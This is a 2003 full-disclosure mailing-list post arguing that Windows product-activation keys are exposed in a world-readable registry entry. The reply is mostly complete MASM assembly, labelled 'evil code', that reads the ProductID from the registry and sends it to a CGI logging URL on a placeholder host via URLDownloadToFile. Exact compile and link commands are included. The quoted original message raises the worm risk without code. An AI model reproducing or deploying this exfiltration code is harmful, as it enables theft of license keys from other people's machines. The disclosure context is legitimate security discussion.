full-disclosure - Product activation is exploitable

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Message-ID: <20030907002252.67784.qmail@web11408.mail.yahoo.com>
From: xillwillx at yahoo.com (w g)
Subject: Product activation is exploitable

with simple assembly code you could send the data to a cgi script too
;-------------------------begin evil code ----------------------
.386
.model  flat,stdcall
option  casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc
include \masm32\include\urlmon.inc
includelib \masm32\lib\urlmon.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
.data
 SubKey2      db "SOFTWARE\Microsoft\Windows\CurrentVersion\",0
 szWinKey     db "ProductID",0
 szHost       db "http://www.yoursite.com/cgi-bin/logme.cgi?action=log&ID=%s",0
 WinKeySize    DWORD 255
.data?
 WinKeyData    db 255 dup (?)
 TheReturn     DWORD ?
 PostBuffer    db 256 dup(?)  
.code
start:
     invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr SubKey2,0,KEY_READ,addr TheReturn
     invoke RegQueryValueEx,TheReturn,addr szWinKey,0,0,addr WinKeyData, addr WinKeySize ;the Product key is in WinKeydata
     invoke RegCloseKey , TheReturn        
     invoke wsprintf,addr PostBuffer,addr szHost,ADDR WinKeyData
     invoke URLDownloadToFile, 0,addr PostBuffer, 0, 0, 0
     invoke  ExitProcess, eax
end start
;--------------------------------------------------------------------------snip
compiles with masm  to 1.5 kb , yes 1.5 kb  :)
 
c:\masm32\bin\ml /c /coff *.asm
c:\masm32\bin\link /SUBSYSTEM:WINDOWS /RELEASE /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.idata=.text /SECTION:.text,EWR /FILEALIGN:512 *.obj
 
--------------------------------------------------------------------------------------------------------------------------------
- illwill
http://illmob.org


Geoincidents <geoincidents@...info.org> wrote:
So I'm reading this story http://www.nccomp.com/sysadmin/dell.html about a
company who laid off their admin and he took all their product keys and
posted them on the internet. Well to make a long story short, somehow
applying a hotfix caused the software to deactivate (it has to have a
deactivation feature or what good is it?) and require activation again which
of course was impossible since MS shut those numbers down.

It got to thinking, what if the dcom worm had grabbed the product key from

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]
"ProductKey"="XXXXX-XXXXX-XXXXX-XXXXX-XXXXX" or
ProductID="XXXXX-OEM-XXXXXXX-XXXXX"

and posted it to a dozen random newsgroups? According to the EULA Microsoft
has the right to shut down every one who becomes infected and compromised in
this manner.

Sure looks like a security issue to me, product activation makes this
registry entry which allows all users full read access a dangerous thing to
have laying around unprotected.

Geo.

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